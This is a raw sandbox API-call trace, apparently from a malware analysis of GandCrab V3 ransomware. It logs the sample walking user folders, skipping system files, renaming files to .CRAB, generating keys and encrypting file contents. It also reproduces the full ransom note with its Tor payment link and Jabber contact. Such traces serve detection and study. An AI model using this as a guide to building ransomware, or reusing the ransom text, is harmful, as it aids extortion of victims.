	[0127.469] WriteFile (in: hFile=0x3f4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0127.469] WriteFile (in: hFile=0x3f4, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0127.469] CloseHandle (hObject=0x3f4) returned 1
	[0127.470] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.470] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.470] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.470] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.470] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.471] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.471] FindNextFileW (in: hFindFile=0x318f178, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0127.471] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0127.471] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0127.471] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\CRAB-DECRYPT.txt"
	[0127.471] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.471] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\CRAB-DECRYPT.txt") returned 75
	[0127.471] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\CRAB-DECRYPT.txt") returned 75
	[0127.471] lstrlenW (lpString=".txt") returned 4
	[0127.471] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.471] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0127.472] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.472] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\CRAB-DECRYPT.txt") returned 75
	[0127.472] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\CRAB-DECRYPT.txt") returned 75
	[0127.472] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0127.472] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0127.472] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0127.472] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0127.472] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0127.472] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0127.472] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0127.472] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0127.472] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0127.472] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.472] FindNextFileW (in: hFindFile=0x318f178, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0127.472] lstrcmpW (lpString1="hByA2phraHjC83xIj", lpString2=".") returned 1
	[0127.472] lstrcmpW (lpString1="hByA2phraHjC83xIj", lpString2="..") returned 1
	[0127.472] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\", lpString2="hByA2phraHjC83xIj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj"
	[0127.472] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\"
	[0127.472] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.473] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0127.473] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0127.473] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0127.473] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0127.473] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.473] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0127.473] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0127.473] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0127.473] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0127.473] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0127.473] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0127.473] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.473] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\\\CRAB-DECRYPT.txt") returned 94
	[0127.473] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0127.474] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0127.475] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0127.475] CloseHandle (hObject=0x3f4) returned 1
	[0127.475] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.476] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\") returned 77
	[0127.476] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\*"
	[0127.476] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0x318f378
	[0127.476] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0127.476] FindNextFileW (in: hFindFile=0x318f378, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0127.476] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0127.476] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0127.476] FindNextFileW (in: hFindFile=0x318f378, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0127.476] lstrcmpW (lpString1="4pMXQG7lcnqL4F7LGv.pps", lpString2=".") returned 1
	[0127.476] lstrcmpW (lpString1="4pMXQG7lcnqL4F7LGv.pps", lpString2="..") returned 1
	[0127.476] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\", lpString2="4pMXQG7lcnqL4F7LGv.pps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\4pMXQG7lcnqL4F7LGv.pps") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\4pMXQG7lcnqL4F7LGv.pps"
	[0127.476] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.476] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\4pMXQG7lcnqL4F7LGv.pps") returned 99
	[0127.476] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\4pMXQG7lcnqL4F7LGv.pps") returned 99
	[0127.476] lstrlenW (lpString=".pps") returned 4
	[0127.476] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.477] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".pps ") returned 5
	[0127.477] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.477] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\4pMXQG7lcnqL4F7LGv.pps") returned 99
	[0127.477] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\4pMXQG7lcnqL4F7LGv.pps") returned 99
	[0127.477] lstrcmpiW (lpString1="4pMXQG7lcnqL4F7LGv.pps", lpString2="desktop.ini") returned -1
	[0127.477] lstrcmpiW (lpString1="4pMXQG7lcnqL4F7LGv.pps", lpString2="autorun.inf") returned -1
	[0127.477] lstrcmpiW (lpString1="4pMXQG7lcnqL4F7LGv.pps", lpString2="ntuser.dat") returned -1
	[0127.477] lstrcmpiW (lpString1="4pMXQG7lcnqL4F7LGv.pps", lpString2="iconcache.db") returned -1
	[0127.477] lstrcmpiW (lpString1="4pMXQG7lcnqL4F7LGv.pps", lpString2="bootsect.bak") returned -1
	[0127.477] lstrcmpiW (lpString1="4pMXQG7lcnqL4F7LGv.pps", lpString2="boot.ini") returned -1
	[0127.477] lstrcmpiW (lpString1="4pMXQG7lcnqL4F7LGv.pps", lpString2="ntuser.dat.log") returned -1
	[0127.477] lstrcmpiW (lpString1="4pMXQG7lcnqL4F7LGv.pps", lpString2="thumbs.db") returned -1
	[0127.477] lstrcmpiW (lpString1="4pMXQG7lcnqL4F7LGv.pps", lpString2="CRAB-DECRYPT.txt") returned -1
	[0127.477] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.477] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\4pMXQG7lcnqL4F7LGv.pps.CRAB") returned 104
	[0127.477] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\4pMXQG7lcnqL4F7LGv.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\4pmxqg7lcnql4f7lgv.pps")) returned 0x20
	[0127.478] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\4pMXQG7lcnqL4F7LGv.pps", dwFileAttributes=0x20) returned 1
	[0127.478] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\4pMXQG7lcnqL4F7LGv.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\4pmxqg7lcnql4f7lgv.pps"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\4pMXQG7lcnqL4F7LGv.pps.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\4pmxqg7lcnql4f7lgv.pps.crab")) returned 1
	[0127.479] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0127.479] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\4pMXQG7lcnqL4F7LGv.pps.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\4pMXQG7lcnqL4F7LGv.pps.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\4pMXQG7lcnqL4F7LGv.pps.CRAB"
	[0127.479] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\4pMXQG7lcnqL4F7LGv.pps.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\4pMXQG7lcnqL4F7LGv.pps.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\4pMXQG7lcnqL4F7LGv.pps.CRAB.CRAB"
	[0127.479] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0127.482] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.482] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.482] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.482] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0127.482] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.482] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.482] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0127.485] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.485] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.486] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.486] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0127.486] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.486] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.486] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0127.486] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0127.486] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e6b0) returned 1
	[0127.489] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0x318edf8) returned 1
	[0127.489] CryptGetKeyParam (in: hKey=0x318edf8, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0127.489] CryptEncrypt (in: hKey=0x318edf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0127.489] GetLastError () returned 0x0
	[0127.489] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0127.489] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0127.491] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0x318f078) returned 1
	[0127.491] CryptGetKeyParam (in: hKey=0x318f078, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0127.491] CryptEncrypt (in: hKey=0x318f078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0127.492] GetLastError () returned 0x0
	[0127.492] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.492] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\4pMXQG7lcnqL4F7LGv.pps.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\4pmxqg7lcnql4f7lgv.pps.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0127.492] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0127.492] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0127.493] ReadFile (in: hFile=0x140, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314a9cc*=0xd387, lpOverlapped=0x0) returned 1
	[0127.504] VirtualAlloc (lpAddress=0x0, dwSize=0xd390, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0127.505] VirtualAlloc (lpAddress=0x0, dwSize=0xd390, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0127.507] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.507] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff2c79, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.507] WriteFile (in: hFile=0x140, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xd390, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314a9bc*=0xd390, lpOverlapped=0x0) returned 1
	[0127.508] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.508] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.511] WriteFile (in: hFile=0x140, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0127.511] WriteFile (in: hFile=0x140, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0127.512] WriteFile (in: hFile=0x140, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0127.512] CloseHandle (hObject=0x140) returned 1
	[0127.512] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.512] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.512] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.512] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.513] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.513] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.513] FindNextFileW (in: hFindFile=0x318f378, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0127.513] lstrcmpW (lpString1="9WSg2PHx2es e0t4L.rtf", lpString2=".") returned 1
	[0127.513] lstrcmpW (lpString1="9WSg2PHx2es e0t4L.rtf", lpString2="..") returned 1
	[0127.513] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\", lpString2="9WSg2PHx2es e0t4L.rtf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\9WSg2PHx2es e0t4L.rtf") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\9WSg2PHx2es e0t4L.rtf"
	[0127.513] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.513] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\9WSg2PHx2es e0t4L.rtf") returned 98
	[0127.513] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\9WSg2PHx2es e0t4L.rtf") returned 98
	[0127.513] lstrlenW (lpString=".rtf") returned 4
	[0127.513] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.514] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".rtf ") returned 5
	[0127.514] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.514] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\9WSg2PHx2es e0t4L.rtf") returned 98
	[0127.514] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\9WSg2PHx2es e0t4L.rtf") returned 98
	[0127.514] lstrcmpiW (lpString1="9WSg2PHx2es e0t4L.rtf", lpString2="desktop.ini") returned -1
	[0127.514] lstrcmpiW (lpString1="9WSg2PHx2es e0t4L.rtf", lpString2="autorun.inf") returned -1
